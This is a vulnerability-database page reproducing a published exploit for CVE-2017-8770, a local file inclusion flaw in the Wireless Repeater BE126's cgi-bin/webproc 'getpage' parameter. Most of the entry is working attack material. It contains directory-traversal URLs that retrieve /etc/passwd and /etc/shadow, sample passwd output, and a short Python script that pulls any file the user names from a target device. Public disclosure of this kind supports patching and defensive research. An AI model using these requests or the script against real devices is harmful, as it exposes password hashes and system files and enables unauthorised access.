Lucene search
K

Wireless Repeater BE126 - Local File Inclusion

🗓️ 23 Aug 2017 00:00:00Reported by Hay MizrachiType 
exploitpack
 exploitpack
👁 34 Views

Wireless Repeater BE126 Local File Inclusion vulnerability on Windows/Ubunt

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Gongjin Electronics BE126 WIFI repeater Arbitrary File Read Vulnerability
21 Sep 201700:00
cnvd
Check Point Advisories
Twsz Wifi Repeater BE126 Information Disclosure (CVE-2017-8770)
21 Apr 202100:00
checkpoint_advisories
CVE
CVE-2017-8770
20 Sep 201714:00
cve
Cvelist
CVE-2017-8770
20 Sep 201714:00
cvelist
Exploit DB
Wireless Repeater BE126 - Local File Inclusion
23 Aug 201700:00
exploitdb
NVD
CVE-2017-8770
20 Sep 201714:29
nvd
Prion
Arbitrary file deletion
20 Sep 201714:29
prion
# Exploit Title:  WIFI Repeater BE126 – Local File Inclusion
# Date Publish: 23/08/2017
# Exploit Authors: Hay Mizrachi, Omer Kaspi

# Contact: [email protected], [email protected]
# Vendor Homepage: http://www.twsz.com
# Category: Webapps
# Version: 1.0
# Tested on: Windows/Ubuntu 16.04

# CVE: CVE-2017-8770

1 - Description:

'getpage' HTTP parameter is not escaped in include file,

Which allow us to include local files with a root privilege user, aka /etc/password,
/etc/shadow and so on.

2 - Proof of Concept:

http://Target/cgi-bin/webproc?getpage=[LFI]

 

/etc/passwd:

http://Target/cgi-bin/webproc?getpage=../../../../etc/passwd&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:login=true&var:page=wizard


#root:x:0:0:root:/root:/bin/bash

root:x:0:0:root:/root:/bin/sh

#tw:x:504:504::/home/tw:/bin/bash

#tw:x:504:504::/home/tw:/bin/msh

 

/etc/shadow;

 

http://Target/cgi-bin/webproc?getpage=../../../../etc/shadow&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:login=true&var:page=wizard

 

import urllib2, httplib, sys
 
'''
	LFI PoC By Hay and Omer
'''
 
print "[+] cgi-bin/webproc exploiter [+]"
print "[+] usage: python " + __file__ + " http://<target_ip>"
 
ip_add = sys.argv[1]
fd = raw_input('[+] File or Directory: aka /etc/passwd and etc..\n')
 
print "Exploiting....."
print '\n'
URL = "http://" + ip_add + "/cgi-bin/webproc?getpage=/" + fd + "&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:login=true&var:page=wizard"
print urllib2.urlopen(URL).read()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation